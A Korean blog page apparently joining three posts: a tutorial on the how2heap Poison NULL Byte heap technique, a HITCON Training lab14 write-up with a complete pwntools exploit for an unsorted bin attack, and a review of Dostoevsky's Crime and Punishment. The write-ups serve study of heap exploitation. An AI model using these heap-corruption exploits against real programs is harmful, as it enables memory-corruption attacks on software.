1. 시작하기전에...

오늘부터는 how2heap 시리즈에 소개되어 있는 취약점들을 살펴보려고합니다. how2heap은 heap관련 취약점들의 원리를 소스코드와 

주석으로 설명해 놓은 프로젝트입니다.


[참조] https://github.com/shellphish/how2heap


전에 포스팅 했던 HITCON Training의 lab12와 lab14에서 다룬적이 있는 fastbin attack과 unsorted bin attack을 제외한 나머지를 다룰 예정이고,

이번 포스팅과 앞으로 소개 될 취약점들은 아래의 사이트를 참조하려고 합니다.


[참조] https://www.lazenca.net/display/TEC/Heap+Exploitation

[참조] https://heap-exploitation.dhavalkapil.com/diving_into_glibc_heap/


2. Poison NULL Byte

Poison NULL Byte는 Off-by-one error에 기본을 둔 heap 관련 취약점입니다.

이 취약점을 간단히 설명하면 이미 할당된 heap을 새로 할당받는 heap공간에 포함시켜 할당받아 새로운 값으로 덮을 수 있는 취약점 입니다.


2.1 조건

 - 공격자에 의해 다음과 같은 Heap 영역을 할당, 해제 할 수 있어야 합니다.

- 0x200 이상의 heap 영역 : 공격 대상 heap영역

- Fast bin 이상의 Heap 영역(Heap size : 0x80이상) : 공격 대상 영역에 할당 Heap 영역


 - 공격자에 의해 Free chunk의 size영역에 1byte를 NULL로 변경 할 수 있어야 합니다.

 - 공격자에 의해 Free chunk의 size보다 작은 heap영역을 2개 할당 할 수 있어야합니다.

- Fast chunk는 사용할 수 없습니다.


[참조] https://www.lazenca.net/display/TEC/Poison+null+byte


2.2 Off-by-one

Poison NULL Byte에 사용되는 Off-by-one에 대해 간단히 알고 넘어가도록 하겠습니다.

Off-by-one error는 버퍼 크기의 경계 검사를 잘 못해서 한 바이트를 더 쓸 수 있게 되는 취약점입니다.


[참조]https://en.wikipedia.org/wiki/Off-by-one_error


예시로 다음의 코드를 봅시다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#include <stdio.h>
 
int main(int argc,char *argv[])
{
    char buf[1024];
    
    if(strlen(argv[1]) > 1024) {
        printf("BOF is occured\n");
        return -1;
    }
    
    strcpy(buf, argv[1]);
    printf("buf = %s\n", buf);    
 
    return 0;
}



위 코드에서는 1024바이트 크기를 갖는 buf변수가 존재하고 있습니다. 프로그램에 인자를 넣고 실행하면 인자를 이 buf에 복사하고 출력해줍니다.

단, 인자의 길이가 1024보다 크다면 BOF is occured를 출력하지요. 


언뜻 보기에는 BOF가 발생하지 않을 것으로 보이지만 여기서 Off-by-one 이 발생합니다.

strlen()함수는 문자열 길이를 리턴해 줄 때 NULL바이트를 제외하여 리턴해줍니다. 따라서, 정확히 인자의 크기가 1024만큼의 문자열이 전달 되는 경우

BOF검사 분기를 넘어서 복사과정을 거치는데, 실제 buf에 복사되는 값의 길이는 1024 + NULL이 되어 1025바이트를 쓸 수 있게 됩니다.


이처럼 잘못된 크기 검사로 인해 한 바이트를 더 쓸 수 있게 되는 취약점이 Off-by-one 입니다.

해당 취약점과 관련해 자세하게 설명된 블로그가 있어 아래 참조 링크 드립니다.


[참조] http://s0ngsari.tistory.com/entry/Offbyone



2.3 how2heap - Poison NULL Byte

본격적으로 how2heap에 소개되어 있는 Poison NULL Byte의 코드를 가지고 살펴보도록 하겠습니다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
    uint8_t* a;
    uint8_t* b;
    uint8_t* c;
    uint8_t* b1; 
    uint8_t* b2; 
    uint8_t* d;
 
    fprintf(stderr, "We allocate 0x100 bytes for 'a'.\n");
    a = (uint8_t*malloc(0x100);
    fprintf(stderr, "a: %p\n", a); 
    int real_a_size = malloc_usable_size(a);
    fprintf(stderr, "Since we want to overflow 'a', we need to know the 'real' size of 'a' "
        "(it may be more than 0x100 because of rounding): %#x\n", real_a_size);
 
    /* chunk size attribute cannot have a least significant byte with a value of 0x00.
     * the least significant byte of this will be 0x10, because the size of the chunk includes
     * the amount requested plus some amount required for the metadata. */
    b = (uint8_t*malloc(0x200);
 
    fprintf(stderr, "b: %p\n", b); 
 
    c = (uint8_t*malloc(0x100);
    fprintf(stderr, "c: %p\n", c); 
 
    uint64_t* b_size_ptr = (uint64_t*)(b - 8); 
 



소스코드가 길어 부분 부분 잘라서 설명하겠습니다.

최초에 변수 a, b, c, b1, b2, d가 선언 되어 있는데 이 변수들은 Poison NULL Byte를 실행하기 위해 필요한 heap 변수들입니다.

각 변수들의 용도는 아래와 같습니다.


변수명 

용도 

Off-by-one을 사용할 수 있게 해줌 

Poison NULL Byte가 이루어지는 공간 

Poison NULL Byte로 인해 병합되는 heap 

Poison NULL Byte의 결과로 할당 받는 heap 

b1 

b해제 후 b공간에서 쪼개져 할당받는 heap 

b2 

b해제 후 b공간에서 쪼개져 할당받는 heap

Poison NULL Byte의 Victim


뒤에 진행되는 사항들을 보면서 헷갈릴 수 있는데 표에 소개된 내용을 생각하시면서 보면 조금 더 수월하게 보실 수 있을 것 같습니다.

위의 코드 내용을 정리해보자면 a에 0x100, b에 0x200, c에 0x100만큼 메모리를 할당 했습니다.


그리고 추가로 살펴봐야할 것은 11, 12라인인데요

malloc_usable_size()함수를 통해 메모리를 할당 받은 a에 실제로 사용할 수 있는 크기를 알아보고 있습니다. 라운딩때문에 0x100보다 클 것이라고 이야기 하면서요.



실제로 확인해 보니 a의 usable size는 0x108인 것을 알 수 있습니다. 


※ 위의 실행 결과로 보여드린 주소와는 다르지만 짧게 예시를 든 주소이니, 신경쓰시지 않아도 됩니다.


위 그림처럼 a는 코드에서 의도한 size보다 8바이트 더 큰 값을 사용할 수 있는 상태가 될 것입니다. 그리고 이 8바이트는 b의 prev_size영역이 됩니다.

여기서 한 바이트를 더 쓴다면 b의 chunk size에 영향을 줄 수 있는 상태가 되겠지요. 일단 여기까지만 생각하시고 다음으로 넘어가 보도록 하겠습니다.


  

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
    uint64_t* b_size_ptr = (uint64_t*)(b - 8); 
 
 
    fprintf(stderr, "In newer versions of glibc we will need to have our updated size inside b itself to pass "
        "the check 'chunksize(P) != prev_size (next_chunk(P))'\n");
    // we set this location to 0x200 since 0x200 == (0x211 & 0xff00)
    // which is the value of b.size after its first byte has been overwritten with a NULL byte
    *(size_t*)(b+0x1f0= 0x200;
 
    // this technique works by overwriting the size metadata of a free chunk
    free(b);
    
    fprintf(stderr, "b.size: %#lx\n"*b_size_ptr);
    fprintf(stderr, "b.size is: (0x200 + 0x10) | prev_in_use\n");
    fprintf(stderr, "We overflow 'a' with a single null byte into the metadata of 'b'\n");
    a[real_a_size] = 0// <--- THIS IS THE "EXPLOITED BUG"
    fprintf(stderr, "b.size: %#lx\n"*b_size_ptr);
 
    uint64_t* c_prev_size_ptr = ((uint64_t*)c)-2;
    fprintf(stderr, "c.prev_size is %#lx\n",*c_prev_size_ptr);



여기서부터가 중요한데요, Poison NULL Byte를 위해 b의 chunk size를 0x200으로 만들어 주어야 합니다. 그런데 문제가 glibc에서

chunksize(P)가 prev_size(next_chunk(P))가 같은 지를 비교한다고 하네요.


b의 next_chunk의 주소는 어떻게 계산되는 지 살펴보겠습니다.


Poison NULL Byte공격을 고려하지 않았을 때

0x7120(address of b data area) - 0x10(header size) + 0x210(size of b) = 0x7320 (address of c)


c의 주소가 정확히 계산되어 나옵니다. 그리곤 c의 prev_size와 b의 chunk size필드를 비교해서 일치하는 지를 비교한다는 이야기입니다.


Poison NULL Byte를 위해 b의 chunk size를 0x200으로 만들어 주어야 한다면 거기에 대응하는 주소공간에 가상으로 prev_size인 것처럼 0x200

써주어야합니다.


0x7120(address of b data area) - 0x10(header size) + 0x200(size of fake b) = 0x7310 (address of fake chunk)

이런 이유로 b의 주소에 0x1f0을 더한 값인 0x7310에 0x200을 써주었습니다.


그 다음에 b를 해제했습니다. 그리고 Off-by-one 취약점을 이용해 a[real_size] => a[0x108]에 한 바이트를 0(NULL)로 써주었습니다.

그럼 b의 chunk size는 0x211 에서 한 바이트가 0으로 바뀌었으니, 0x200으로 바뀌게 됩니다.



c의 prev_size는 건드리지 않았으니, 0x211에서 INUSE flag만 0으로 바뀌어 0x210이 된 모습입니다.



1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
    fprintf(stderr, "We will pass the check since chunksize(P) == %#lx == %#lx == prev_size (next_chunk(P))\n",
        *((size_t*)(b-0x8)), *(size_t*)(b-0x10 + *((size_t*)(b-0x8))));
    b1 = malloc(0x100);
 
    fprintf(stderr, "b1: %p\n",b1);
    fprintf(stderr, "Now we malloc 'b1'. It will be placed where 'b' was. "
        "At this point c.prev_size should have been updated, but it was not: %lx\n",*c_prev_size_ptr);
    fprintf(stderr, "Interestingly, the updated value of c.prev_size has been written 0x10 bytes "
        "before c.prev_size: %lx\n",*(((uint64_t*)c)-4));
    fprintf(stderr, "We malloc 'b2', our 'victim' chunk.\n");
    // Typically b2 (the victim) will be a structure with valuable pointers that we want to control
 
    b2 = malloc(0x80);
    fprintf(stderr, "b2: %p\n",b2);
 
    memset(b2,'B',0x80);
    fprintf(stderr, "Current b2 content:\n%s\n",b2);



위에서 이야기한 chunksize(P)와 prev_size(next_chunk(P))가 같은 지를 검사하는 부분에서 에러 없이 통과를 하였습니다.

이후 새로 b1을 할당 0x100만큼 할당 받았습니다.


b1은 b의 시작부분에서부터 할당을 받았습니다. b1을 할당 받은 후 c의 prev_size를 찍어보면 b1에 해당하는 값으로 업데이트가 이루어져야 하지만 이루어지지 않습니다. 그 대신에 우리가 전에 만들었던 fake chunk의 prev_size가 업데이트 된 것을 알 수 있습니다.



이 상태에서 victim chunk인 b2를 0x80만큼 할당 합니다. 그리고 내용을 b로 채워주었습니다.



1
2
3
4
5
6
7
8
9
10
11
12
13
fprintf(stderr, "Now we free 'b1' and 'c': this will consolidate the chunks 'b1' and 'c' (forgetting about 'b2').\n");
 
free(b1);
free(c);
 
fprintf(stderr, "Finally, we allocate 'd', overlapping 'b2'.\n");
= malloc(0x300);
fprintf(stderr, "d: %p\n",d);
 
fprintf(stderr, "Now 'd' and 'b2' overlap.\n");
memset(d,'D',0x300);
 
fprintf(stderr, "New b2 content:\n%s\n",b2);



이제 사전 준비는 다 끝났습니다. b1, c의 차례로 free를 하면 b1과 c의 병합이 일어나게 됩니다. 이때, b1과 c1의 사이에 있는 b2의 존재는 잊어버리고 

병합이루어 집니다.


그 이유는 c의 해제가 이루어질 당시 c의 prev_size는 0x210이니, 이전의 메모리가 사용되고 있지 않은 중으로 OS가 판단합니다.(INUSE flag == 0)

때문에 이전의 chunk (prev chunk)와 병합이루어 지게 되죠.

 

c의 prev chunk의 주소를 알아내는 방법은 아래와 같습니다.


0x7320(address of c) - 0x210(prev_size) = 0x7110 


0x7110 부터 c에 해당하는 chunk까지 모두 병합이 이루어지게 되는 것입니다. (이 사이에 b2가 존재하죠)

이렇게 병합된 chunk는 0x300의 메모리 할당 요청에 반환됩니다. 이로써 b2의 내용을 수정할 수 있게 된 것입니다.




소개 된 예제에서는 단순히 변수의 값을 바꾸는 것만으로 소개가 되었는데, b2의 공간이 구조체이고 그 안에 함수포인터가 저장되어있다는 가정이라면

더 멋진 결과도 나올 수 있을 것이라고 생각합니다.


  1. Wooum@n 2019.11.03 11:01 신고

    64bit 우분투에서는 적용이 안되나요?

    예제 만들어서 확인해보고 있는데요.

    청크 두개 만들어서
    앞의 청크를 free했는데
    뒤의 청크의 prev_size 위치에 값이 안바뀌네요.

    gdb로 확인한 모습입니다

    EFLAGS: 0x206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)
    [-------------------------------------code-------------------------------------]
    0x555555555202 <main+157>: mov rax,QWORD PTR [rbp-0x10]
    0x555555555206 <main+161>: mov rdi,rax
    0x555555555209 <main+164>: call 0x555555555030 <free@plt>
    => 0x55555555520e <main+169>: mov rax,QWORD PTR [rbp-0x8]
    0x555555555212 <main+173>: sub rax,0x40
    0x555555555216 <main+177>: mov eax,DWORD PTR [rax]
    0x555555555218 <main+179>: mov esi,eax
    0x55555555521a <main+181>: lea rdi,[rip+0xdf3] # 0x555555556014
    [------------------------------------stack-------------------------------------]
    0000| 0x7fffffffe350 --> 0x555555559260 --> 0x0
    0008| 0x7fffffffe358 --> 0x555555559470 ('a' <repeats 80 times>)
    0016| 0x7fffffffe360 --> 0x555555555240 (<__libc_csu_init>: push r15)
    0024| 0x7fffffffe368 --> 0x7ffff7def09b (<__libc_start_main+235>: mov edi,eax)
    0032| 0x7fffffffe370 --> 0x0
    0040| 0x7fffffffe378 --> 0x7fffffffe448 --> 0x7fffffffe6b8 ("/work/pico2019/Ghost_Diary/poc")
    0048| 0x7fffffffe380 --> 0x100040000
    0056| 0x7fffffffe388 --> 0x555555555165 (<main>: push rbp)
    [------------------------------------------------------------------------------]
    Legend: code, data, rodata, value
    0x000055555555520e in main ()
    gdb-peda$ x/50wx $1-0x10
    0x555555559250: 0x00000000 0x00000000 0x00000211 0x00000000
    0x555555559260: 0x00000000 0x00000000 0x62626262 0x62626262
    0x555555559270: 0x62626262 0x62626262 0x62626262 0x62626262
    0x555555559280: 0x62626262 0x62626262 0x62626262 0x62626262
    0x555555559290: 0x62626262 0x62626262 0x62626262 0x62626262
    0x5555555592a0: 0x62626262 0x62626262 0x62626262 0x62626262
    0x5555555592b0: 0x62626262 0x62626262 0x62626262 0x62626262
    0x5555555592c0: 0x62626262 0x62626262 0x62626262 0x62626262
    0x5555555592d0: 0x62626262 0x62626262 0x62626262 0x62626262
    0x5555555592e0: 0x62626262 0x62626262 0x62626262 0x62626262
    0x5555555592f0: 0x62626262 0x62626262 0x62626262 0x62626262
    0x555555559300: 0x62626262 0x62626262 0x62626262 0x62626262
    0x555555559310: 0x62626262 0x62626262
    gdb-peda$ x/50wx $1+0x200
    0x555555559460: 0x00000000 0x00000000 0x00000061 0x00000000
    0x555555559470: 0x61616161 0x61616161 0x61616161 0x61616161
    0x555555559480: 0x61616161 0x61616161 0x61616161 0x61616161
    0x555555559490: 0x61616161 0x61616161 0x61616161 0x61616161
    0x5555555594a0: 0x61616161 0x61616161 0x61616161 0x61616161
    0x5555555594b0: 0x61616161 0x61616161 0x61616161 0x61616161
    0x5555555594c0: 0x00000000 0x00000000 0x00000411 0x00000000
    0x5555555594d0: 0x3a3a3161 0x6572703a 0x69735f76 0x3a20657a
    0x5555555594e0: 0x36323620 0x36323632 0x00000a32 0x00000000
    0x5555555594f0: 0x00000000 0x00000000 0x00000000 0x00000000
    0x555555559500: 0x00000000 0x00000000 0x00000000 0x00000000
    0x555555559510: 0x00000000 0x00000000 0x00000000 0x00000000
    0x555555559520: 0x00000000 0x00000000


    61로 채워진게 이전청크고

    62로 채워진게 다음 청크입니다.

    peda의 eip 위치 보면 free가 실행된 직후입니다만

    62로 채워진 청크의 prev_size 위치에 값의 변화가 없네요.

    왜이럴까요

  2. Wooum@n 2019.11.03 11:02 신고

    이건 소스코드 입니다.

    #include <stdio.h>
    #include <malloc.h>
    #include <string.h>

    int main()
    {
    int* b1 = (int*)malloc(0x200);
    int* a1 = (int*)malloc(0x50);
    memset(b1, 'b', 0x200);
    memset(a1, 'a', 0x50);


    //할당된 주소 확인
    printf("b1: %p\n", b1);
    printf("a1: %p\n", a1);


    free(b1);



    return 1;
    }

1. 시작하기전에...

벌써 HITCONT Training의 짝수 마지막 번호 lab14가 되었습니다. lab14는 지난 번 포스팅에서 다루었던 lab12였던 fastbin attack에 이어 

unsorted bin attack을 이용한 문제입니다.


unsorted bin attack에서는 free Chunk(해제된 메모리 영역)에서 bk를 덮어 써 메모리 할당 공간을 컨트롤 한다는 것이 핵심입니다.


1-1. Free Chunk

한번 봤던 구조지만 한번 더 확인해 보도록 하겠습니다. 


Free Chunk의 상위 두 필드는 prev_size와 헤더의 크기를 포함한 자신의 크기를 나타냅니다.


fastbin 같은 경우에는 single linked list이기때문에, forward pointer to next chunk in list(fd)영역에만 값이 쓰여지고 back pointer to next chunk in list(bk)는 필드는 존재하지만 값이 세팅 되지 않았습니다.


하지만 오늘 다룰 unsorted bin에서는 double linked list로 fd와 bk 필드가 모두 사용됩니다.


1
2
3
4
5
6
7
char *= malloc(0x80);
char *= malloc(0x80);
char *= malloc(0x80);
 
free(a);
free(b);
free(c);



위와 같은 코드가 있을 때, unsorted bin은 first fit에 의해 아래와 같은 형태가 됩니다.


  1. head -> c <-> b<-> a -> tail

이 상태에서 각 free chunk에 fd / bk는 이렇게 기록됩니다.


a 의 bk : b의 주소


b의 fd : a의 주소

b의 bk : c의 주소


c의 fd : b의 주소


생각같아서는 a의 fd에 tail의 주소, c의 fd에는 head의 주소 이렇게 저장될 것 같았는데 직접 확인해 보니 알수 없는 값이 메우고 있었습니다. 

무슨 값인 지는 잘 모르겠습니다만, 확실한 건 Tail쪽이 fd이고 Head쪽이 bk이며 Head방향에 있는 chunk부터 검사하여 적합한 사이즈라면 메모리가 할당 됩니다.


그러므로 이때 bk를 조작할 수 있다면, 다음에 할당되는 메모리의 주소를 조작할 수 있다는 점을 이용합니다.



2. C소스

magicheap.c 의 코드 중 중요한 부분만 몇 군데 보겠습니다.


2-1. create_heap()

1. 프로그램 내에서 할당된 heap을 관리하는 전역변수 heaparray가 있습니다. 그 배열에 빈곳을 찾습니다.

2. 사이즈를 입력받아 해당 크기만큼 메모리를 할당합니다.

3. heap의 내용을 입력받아 저장합니다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
void create_heap(){
    int i ;
    char buf[8];
    size_t size = 0;
    for(i = 0 ; i < 10 ; i++){
        if(!heaparray[i]){
            printf("Size of Heap : ");
            read(0,buf,8);
            size = atoi(buf);
            heaparray[i] = (char *)malloc(size);
            if(!heaparray[i]){
                puts("Allocate Error");
                exit(2);
            }
            printf("Content of heap:");
            read_input(heaparray[i],size);
            puts("SuccessFul");
            break ;
        }
    }   
}



2-2. edit_heap()

1. index를 입력받고 index의 유효성 검사를 합니다.

2. index가 유효한 경우 해당 heap이 heaparray에 존재하는지 확인합니다.

3. 존재하는 경우 해당 heap의 사이즈를 입력받고 사이즈만큼 메모리를 수정합니다.

4. heap의 내용을 수정합니다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
void edit_heap(){
    int idx ;
    char buf[4];
    size_t size ;
    printf("Index :");
    read(0,buf,4);
    idx = atoi(buf);
    if(idx < 0 || idx >= 10){
        puts("Out of bound!");
        _exit(0);
    }
    if(heaparray[idx]){
        printf("Size of Heap : ");
        read(0,buf,8);
        size = atoi(buf);
        printf("Content of heap : ");
        read_input(heaparray[idx] ,size);
        puts("Done !");
    }else{
        puts("No such heap !");
    }
}



2-3. delete_heap()

1. index를 입력받아 index의 유효성 검사를 합니다.

2. index가 유효한 경우 해당 heap이 리스트에 존재하는지 확인 합니다.

3. 존재하는 경우 해당 heap을 메모리 해제 합니다.

4. heaparray에 저장되어 있는 포인터를 NULL로 만들어 줍니다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
void delete_heap(){
    int idx ;
    char buf[4];
    printf("Index :");
    read(0,buf,4);
    idx = atoi(buf);
    if(idx < 0 || idx >= 10){
        puts("Out of bound!");
        _exit(0);
    }
    if(heaparray[idx]){
        free(heaparray[idx]);
        heaparray[idx] = NULL ;
        puts("Done !");
    }else{
        puts("No such heap !");
    }
 
}



delete_heap에서 메모리 해제 후 배열에 저장되어있는 heap의 포인터를 NULL로 만들어줌으로써, fastbin attack은 가능하지 않습니다. 

3. exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
 
= process('./magicheap')
 
def create_heap(length,contents):
    r.recvuntil(":")
    r.sendline("1")
    r.recvuntil(": ")
    r.sendline(str(length))
    r.recvuntil(":")
    r.sendline(contents)
 
def edit_heap(length, idx, contents):
    r.recvuntil(":")
    r.sendline("2")
    r.recvuntil(":")
    r.sendline(str(idx))
    r.recvuntil(": ")
    r.sendline(str(length))
    r.recvuntil(": ")
    r.sendline(contents)
 
def delete_heap(idx):
    r.recvuntil(":")
    r.sendline("3")
    r.recvuntil(":")
    r.sendline(str(idx))
    
magic = 0x00000000006020c0
fake_chunk = magic - 0x10
 
create_heap(0x80,"tulip")
create_heap(0x20,"sunflower")
create_heap(0x80,"rose")
create_heap(0x20,"tulip")
delete_heap(2)
delete_heap(0)
 
#alloc size = 0x20(idx:1 chunk size) + 0x10(idx:2 header) + 0x10(idx:2 fd, bk)
edit_heap(0x20+0x10+0x101"a"*0x20 + p64(0)+p64(144)+ p64(0)+ p64(fake_chunk))
create_heap(0x80,"5000")
r.sendline("4869")
log.info(r.recv(0x500))
log.info(r.recv(0x100))



exploit코드의 목적은 할당 메모리의 공간을 전역변수 magic으로 만들어 magic의 값을 5000으로 만드는 것입니다.
위에 설명한 코드에 main의 내용은 빠져있지만, 이 전역변수 magic의 값이 4869보다 큰 값이면 문제가 풀리게 되어있습니다.

exploit 코드의 과정은 아래와 같습니다.
1. 0x80, 0x20, 0x80, 0x20 의 크기로 메모리를 할당합니다.
 =>중간에 0x20사이즈를 섞은 것은 하위에 존재하는 free chunk의 bk를 덮기 위해 할당한 메모리입니다.
 => 마지막에 존재하는 0x20사이즈의 chunk를 할당한 것은 이유를 모르겠습니다. 다만, 없으면 정상적으로 exploit이 되지 않네요..
      마지막에 chunk를 할당한 것과 할당하지 않은 것의 메모리를 비교한 화면입니다.


0x603000이 처음으로 할당한 0x80 chunk이고, 0x603090이 두 번째로 할당한 0x20 chunk, 0x6030c0가 세 번째로 할당한 0x80 chunk입니다.

그리고 마지막으로 할당한 0x20 chunk는 0x603150에 위치하고 있습니다.


저 화면은 메모리할당 한 후 39라인까지 실행한 결과(free 2번 실행) 인데, 처음으로 할당한 chunk의 fd가 세 번째 chunk를 가르키고 있고

세 번째 chunk의 bk가 첫 번째로 할당한 chunk를 가르키고 있는 것을 확인할 수 있습니다.



이 화면은 동일한 로직을 마지막 chunk없이 실행한 결과 입니다. fd와 bk가 우리가 예상한 것과는 다른 모습을 하고 있습니다. 서로를 가르키고 있지 않은 모습입니다. 마지막으로 할당 했던 메모리가 어떤 역할을 하는지는 아직 잘 모르지만.. 존재해야지만 0x80 chunk들이 정상적으로 unsorted bin list에 속하는 것으로 보입니다.


2. index 2, 0의 순으로 메모리 해제를 합니다. 

위와 같은 구조에서 우리가 덮어쓸 수 있는 메모리는 두 번째 chunk를 수정하여 세 번째 chunk를 덮어 쓸 수 있습니다. 수정 메모리 크기를 검사하지 않는 탓이기도 하지요. 


세 번째 메모리의 bk는 첫 번째 메모리를 가르키고 있고, 이 주소를 우리가 원하는 magic의 주소로(실제로는 magic의 주소에서 헤더크기(0x10) 만큼 빼준 값)으로 덮어써 magic의 값을 변경할 것입니다.


3. 두 번째 메모리의 데이터 size는 0x20입니다. 그리고 세 번째 메모리의 헤더 사이즈는 0x10, 우리가 덮어쓸 fd와 bk는 각각 0x8이고 

따라서 0x40만큼 덮어 써야 원하는 대로 bk를 완전히 덮어쓸 수 있습니다.


42라인에서 0x40만큼 크기를 입력해주었고, a를 0x20개 만큼 채웠습니다. 그리고 prev_size를 0으로, 현재 chunk사이즈는 본래의 값인 0x90인 144로 채웠습니다. 그리고 fd 값은 0으로 채웠고, bk부분에 우리가 원하는 값인 magic - 0x10 값으로 채워주었습니다.

 

4. 그 이후 새로운 chunk를 요청하여 magic에 값을 써준 후 4869를 입력하여 마무리 되었습니다.






끗!



  1. chaem 2018.08.22 18:04

    마지막 chunk를 할당하는 이유는 처음 chunk를 free할때 top chunk와 합쳐지지 않도록 하기 위해서 인것 같아요! shellfish how2heap에 unsorted bin attack 글이 있는데, 거기에 이게 그거 같아요!!!
    fprintf(stderr, "And allocate another normal chunk in order to avoid consolidating the top chunk with"
    "the first one during the free()\n\n");

    • JSBach Bach 2018.08.22 22:13 신고

      예ㅎㅎ 저도 얼마전에 알게되었어요! 피드백 감사합니다.

안녕하세요! 세 번째 책 후기 포스팅입니다!

이번에 포스팅 할 책은 도스토예프스키의 책 죄와 벌 입니다.



1. 계기

팟캐스트 지대넓얕에서 채사장님이 소개를 해준 방송을 듣고, 호기심이 생기던 찰나에 유시민 작가님청춘의 독서에 소개되어 읽어봐야겠다고 

생각을 했었습니다. 그러던 중 습관처럼 들렸던 알라딘에서 눈에 들어와 직접적으로 읽는 계기가 되었습니다.


읽기 전 내용을 어느정도 알고있었던 지라 기대를 많이 하고 읽기 시작했지만, 제가 읽었던 책은 비교적 옛날에 번역된 책이라 읽기가 쉽지 않았고 

무엇보다 어마무시한 책의 분량에 읽어갈 수록 지쳤던 것 같습니다. 그래도 흥미로운 주제와 옛날 제정 러시아 시대의 도시를 잘 묘사하여 끝까지 읽을 수 있었습니다. 


책을 모두 읽고 이 후기를 쓰려고 했을 때 너무 많은 내용과 생각이 뒤섞여 쓰기가 어려워 유시민 작가님청춘의 독서 죄와 벌 파트를 다시 읽어 참고하였습니다.


2. 내용

죄와 벌은 주인공인 라스콜리니코프를 기점으로 이야기가 전개됩니다. 

휴학생인 라스콜로니코프는 본래 선행을 많이 하고 자기 주장이 강한 학생입니다. 하지만 소설의 초반부 고리대금 전당포를 운영하는 노파를 살해합니다. 살해 전 살해 방법과 살해한 후 도주경로 등 철저하게 준비하죠. 그리고 우연하게 마주친 노파의 이복동생까지 어쩔 수 없이 살해하고 맙니다. 살해하고 금품을 훔쳐 달아나는 모습을 봤을 때 까지만 해도 그저 생활고에 시달리다 노파를 살해한 것인가? 전에 들었던 시나리오는 이게 아니였던거 같은데.. 라는 생각이 들 때 쯤, 뒤편에 범죄에 대하여 라는 주인공이 쓴 논문이 소개됩니다.


- 선한 목적을 위한 악한 수단이 정당화 되는가?

범죄에 대하여 라는 소설 중 논문에는 사회악을 없애고 공동선을 추구할 수 있는 방법에 대해 이야기 하고있습니다. 

사실 이 논문의 내용이 소설 전반적인 주제라고 봐도 될 것 같습니다. 이 논문에서는 사람들을 평범한 사람비범한 사람으로 나눕니다. 


평범한 사람은 그저 평범한 인간이기에 법을 준수하고, 순종하며 살아가야합니다. 비범한 사람은 모든 종류의 법규로부터 자유롭습니다. 그의 신념을 위해 즉, 공공선을 이루기 위해 살인이나 폭력 등이 정당화 된다는 것이지요. 주인공은 예시로 나폴레옹, 마호메트, 솔로몬 등을 예로 듭니다.


위 내용은 선한 목적을 위해 악한 수단이 정당화 되는가? 로 볼 수 있지요. 죄와 벌에서는 그 대답은 정당화 되지 않는다. 라고 암시 하고 있습니다.

명확하게 명시한 것은 아니지만, 범죄 이후 줄곧 라스콜로니코프는 정신적으로 고통을 겪고, 스스로 벌을 받는 것과 같은 상태에 빠져 괴로워 합니다.

아마도 이 점을 이야기 하고 싶었던 것 같습니다.


저도 이 문제에대해 많은 고민을 해보았고, 제가 생각한 결론도 위와 크게 다르지 않습니다.

그 이유로 첫 째로는 선한 목적을 이루는 수단 중 악한 수단만이 있는 것만은 아닐 것이며, 둘 째 선한 수단은 비교적 느리고 비효율적일 순 있으나 누군가 불행해지지 않습니다. 또한, 악한 수단이라고 판단 되는 것은 도덕적으로 나쁜 것이고 위와 같이 누군가 불행해지거나 피해를 보는 수단일 것인데 이러한 것의 결과가 선하다고 볼 수는 없을 것이기 때문입니다.


 

- 비정상적인 인물들을 등장인물로 채택한 이유?

전반적으로 걸쳐 서술되는 도시와 각 등장인물들은 모두 음울하고 불안한 분위기가 있습니다. 특히 주인공을 포함한 등장인물들 대부분 심신에 고질적인 문제점을 가지고 있습니다. 물론 주인공의 친구 라주마힌이나 동생 두냐, 어머니와 같이 정상적으로 묘사되는 인물들도 있지만 술주정뱅이, 창녀, 오만한 귀족, 바람둥이, 정신착란 증세, 허풍쟁이 등등 다양하게 정상 범주를 벗어난 인물들이 많습니다.


청춘의 독서와 죄와 벌 책의 뒷 편에 위치 하고있는 해설편에서는 이러한 이유를 도스토예프스키의 생애와 연결시켜서 설명하고 있습니다.

도스토예프스키는 도박을 좋아했고, 충동적이며 낭비벽이 심했다고 합니다. 비교적 부유한 집안이였음에도 불구하고 재산을 모두 날려먹었죠.

또, 당시 사회주의에 연관되어 사형을 선고받고 수용소에 갇히는 등 순탄하지 않은 삶을 살았고 이 때문에 소설들의 등장인물들이 영향을 받았다라고 합니다.


하지만 저는 다른 관점에서 보려고 합니다. 

조금은 비뚤어지고 정서적으로 불안하며 음울한 분위기를 풍기는 등장인물들을 통해 당시 사회를 비판하려했던 것이 아닐까 라고 생각해봅니다.   

루진을 통해 시대의 흐름을 탄 졸부들을 비판하기도 하고, 레베쟈트니코프를 통해 겉만 번지르르한 개혁 지식인들을 풍자하며 소냐의 가족들을 통해 몰락한 귀족의 모습이나 가난한 시민들의 처참한 모습을 보여주려고 한 것이라는 생각을 해보았습니다.


3. 마무리

좁혀오는 포르피리의 수사망과 자신의 죄를 스스로 감당하지 못하여 발생하는 열병, 정신착란으로 라스콜리니코프는 결국 자수를 하고, 소냐는 라스콜리니코프의 옥바라지를 합니다. 옥 중 주인공은 지극정성으로 자신을 도와주는 소냐에게 마음을 열고 자신의 죄를 받아들인 모습을 보입니다. 종교에 대해 콧방귀도 뀌지 않던 사람이 소냐에게 성경책을 부탁하는 모습도 나옵니다.


그 뒷이야기는 서술되지 않고 있지만 왜곡된 방법으로 정의를 실현하고자 했던 라스콜리니코프가 자신의 죄를 뉘우친 것으로 묘사 되고 있으니, 

석방 후 소냐와 동생, 라주마힌과 함께 행복하게 살았기를 바래봅니다.

 

'일상 > BooK' 카테고리의 다른 글

라틴어 수업 - 나는 공부하는 노동자입니다.  (0) 2018.03.22
죄와 벌  (0) 2018.02.26
우리는 언젠가 만난다.  (0) 2018.01.15
